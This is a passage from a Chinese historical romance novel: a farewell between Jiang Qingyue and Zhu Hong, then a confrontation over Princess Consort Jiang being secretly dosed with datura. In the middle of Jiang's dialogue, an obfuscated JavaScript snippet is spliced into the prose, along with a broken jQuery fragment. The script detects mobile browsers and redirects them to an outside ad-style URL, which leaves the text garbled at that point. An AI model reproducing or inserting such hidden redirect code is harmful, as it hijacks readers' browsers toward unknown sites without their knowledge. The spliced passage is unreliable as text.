那猫却不怕人似的，扬起尾巴在院子里乱窜。 “这附近哪儿来的野猫？”珠儿连忙递来手绢，“阿康，快、快把这吓人的东西赶出去。” 左看右看，却不见阿康人影，珠儿刚想去叫人，江清月一把拉住了她。 “已经跑远了，算了。” 江清月刚想回房间换衣服，阿康却急匆匆跑来。 珠儿数落道：“刚刚不来，现在猫都跑远了。” 阿康有些疑惑，“什么猫？” 珠儿反问道：“你不是为这个来的么？” 阿康一拍脑袋，大声道：“哎，被你这么一打岔，差点儿忘了正事儿！” 他连忙对江清月说道：“姑娘，门外有人找！” 珠儿见江清月一脸顾虑，便问道：“这么晚了，是谁找？若不着急的话，告知对方明日再来。” “我哪儿认识那人呀，他只说咱姑娘认得。”阿康回忆道，“那人身上有些酒气，却又不像寻常的酒蒙子！” 江清月心中莫名有些紧张，嘴上却还淡定地说道：“不碍事，我出去看看。” 阿福正守在大门边，门被翕上一条缝。 透过那窄窄的光景里，她看见他露出的墨绿色衣裳。 江清月低头看着自己弄污的衣裳，本想拒绝，转头却又停住。 凝思片刻，让阿福推开大门，她径直走了出去。 “这么晚了，有什么事么？” 朱泓低头看见她腰间的荷包，愣了一下神，他弯起的手捏了捏，说道：“可否去岸边走走？” 江清月低着头，“就在这里说吧。” 他点了点头，早就准备好的话说不出，只能套出几句寒暄，无厘头地问东问西。 江清月打断了他：“如果没有什么重要的事，就请早些回去休息吧。” “春风无限潇湘意，欲采蘋花不自由。” “什么？” “明日我便要走了。” 江清月终于抬起眼睛看着他，二人对视的瞬间，她又看向别处，“不是今日才回府上，不可多待几日么？” 刚说完此句，她又觉得自己说话太过暧昧，连忙补充道：“郡王妃常念着你，没想到这么快便又要走了。” “刑部紧缺，原本是回不来这趟的。” 二人沉默着，海浪盖过近在咫尺的心跳。 “父亲让彤妹随我一同去京都定居。”朱泓顿了顿，“听闻京都繁荣，多有春猎、庙会、茶会，女子亦可听曲观戏，读书作诗……” 江清月听懂了他的言外之意，却假装不明白地说道：“‘不三不四’姑娘一定会爱上那里。” “不三不四姑娘？” “口误。”江清月咳嗽了两声，“是想说——既不是三姑娘也不是四姑娘的彤姐。” 朱泓先是凝眉思考了一会儿，随即噗嗤一声笑出来，连忙握拳贴在嘴上掩饰。 有那么一瞬，两人终于放下隔阂，像两个昔日惺惺相惜的玩伴。 “不知下次再见是何时……一路平安。” 朱泓的笑容慢慢变得不由衷，他咽了口唾沫，点头道：“你也平安。” “今夜泓儿庆功宴，你怎么不来？” 江氏坐在烛火前打盹，手里还捏着快织好的手套，醒来后迷迷糊糊，眼神飘忽不定。 “郡王爷找我有何事？” “刚好路过东厢，见你这烛火微亮。”郡王爷的话有些磕磕绊绊，“你近日，都在忙些什么？” 江氏一个激灵直起身板，警惕道：“你们朱家的，连本带利都交给你了，我已经什么都没有了。” “我知道你都交给李氏打理了，我是想说——哎，问这个怪没意思的，你年纪也不小了，早些歇息吧，眼睛都不好，还在这硬撑着织东西，这些拿给下人去做不好么？” 江氏并没有回应。 郡王爷自讨没趣，瞪了瞪房内的几个丫鬟，便也甩甩袖子走了。 自郡王爷离开后，江氏的贴身丫鬟上前耳语道：“郡王妃，汤药已经熬好了，喝了早些歇息吧。” 江氏木讷地看着她递上来的、漂浮着褐色渣滓的汤药，心里尽是空洞，而没有一丝波澜。 她缓缓地接过来，一饮而尽。 自咋咋唬唬的朱彤走后，康显郡王府显得安静了许多。 天气越发炎热，人们变得不爱说话，连猫儿狗儿的都晓得在阴凉的地方躲着，府里却有一人一反常态。 江氏总是自言自语地走到阳光下，有时被丫鬟见着，给劝了回去，有时被前来照看的江清月见着，也会将人拉至屋内，扇扇风。 可人们疏忽的时候，她总是一声不吭走到院子假山石的背面去，坐在青青的苔泥上发呆。 她手里摸索着一块小小的金锁，那金锁有时替换成荷包，有时是手绢，江氏总不得闲，似乎有了必须每日如此做的原因。 江清月用手帕擦掉脸上的汗珠，看着出神的江氏，她忍不住发问：“阿姊，你在想什么？” “我在想，人死以后，当真有另一个世界么？” 江清月一时语塞，她自然是不信的，但她知道江氏所指，又不好伤了江氏的心。 “比起这些，人更应专注当下才是。” 江氏却没听进她的话，继续自言自语道：“那应该是一个很美好的世界，若真到那一日，我想，我不害怕去……” 江清月有些担忧，她凑上前，紧捏了捏江氏的手，似乎怕她变成一阵泡沫飘走似的。 江氏继续喃喃道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15229440|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江淮应是一个好地方，以至于潼儿想要留在那里……若我也不在了，月儿，你能带我去见她么？” “阿姊，我曾经不是答应过你么？我现在就可以带你去……不，现在不行，再凉一些罢，等天落了几场雨，我便带你去应天府见潼姐儿。” 江氏摇了摇头，“等不到了，我等不到那一日了。” “别再说这样的话。”江清月似乎有些动气，“大夫好好瞧着，汤药和补品亦是如流水般送来，为何就不见好转？” 江氏叹了口气，“多了，彩玉，今日的神仙汤怎么还没端来？” 江清月见丫鬟欲言又止，警惕道：“神仙汤是什么？” “喝了能当神仙的药汤，是李氏托亲戚搞到的珍贵药材。” “这世界上哪有这样的东西？” 彩玉连忙解释道：“只是安神汤，喝了能睡好觉道。” 江清月猛地站起身，直接让兰姑和珠儿锁了东厢房。 “珠儿，你去后厨找找煎药的药渣，收起来立马去找大夫瞧。” 看着一脸憔悴又神离的江氏，她原本只是有些淡淡的忧伤，似乎看透了命运在她们几人身上残酷的轮回。 可如今，有些麻木的她却后知后觉这厄运竟有可能是人为的，江清月的无力便化为愤怒涌出，她恨不得将她们撕碎。 尽管这一切都没有个定论。 半个时辰过去，江清月没等来珠儿，却迎来一群不速之“客”。 “你们这一群群娘们儿，真的是要翻天。” 郡王爷面如红盘，怒发冲冠，在他身后站着红着眼的李钦语，还有一脸怨容的李善俪。 他们仿佛是有理的一家人，江清月才是那个扰了清净的坏人。 她想起曾寄人篱下的日子，想起无数次李善俪母女也曾这样站在愤怒的郡王爷身后，一遍遍质问自己。 她几度有些恍惚，可立刻就缓过神来，站定说道：“我见郡王妃近日身体状态每况愈下，怀疑是下人私自配了什么汤药，正着人前去探查。” 见郡王爷有些诧异，嘴巴微张想要解释什么，江清月先发制人追问道：“郡王妃的情况，您在府上应是最清楚了，不知郡王爷可否差人去打听一下，三膳、茶歇、甜点等，可都吃了些什么？” 李善俪看了一眼李钦语，她点了点头，后者便上前说道：“是曼陀罗。” 江清月凝眉。 “曼陀罗花与火麻子花等分碾成末，热酒调服，能够安神镇静，这些事爹爹和娘都是知道的。” “火麻是……”江清月反应过来后怒道，“这可是产幻的毒物！” “是药三分毒，如何界定全看病症如何。”李钦语见郡王爷并没开口说话，便有了几分底气，说道：“娘因为你的事忧心不已，整日痛苦不堪、以泪洗面。我想了各种法子哄她开心，又寻来这些药物，她不仅心里松活了不少，夜里也能睡着了。你说，咱俩比起来，谁是毒？谁是药？” “你给即将饿死之人送去一碟苦杏仁，她因为太过饥饿不得不吃下——究竟是她愿意吃，还是你趁人之危，使她不得不吃？” “所以姨母，究竟是想说什么？” “欠债还钱，杀人偿命。” 几人之间的关系剑拔弩张，在原本炎热的天气里渗出一丝寒意。 “好了，好了。”东厢房的门猝然推开，原来是江氏在门边听见了这一切，便让兰姑为她开了门。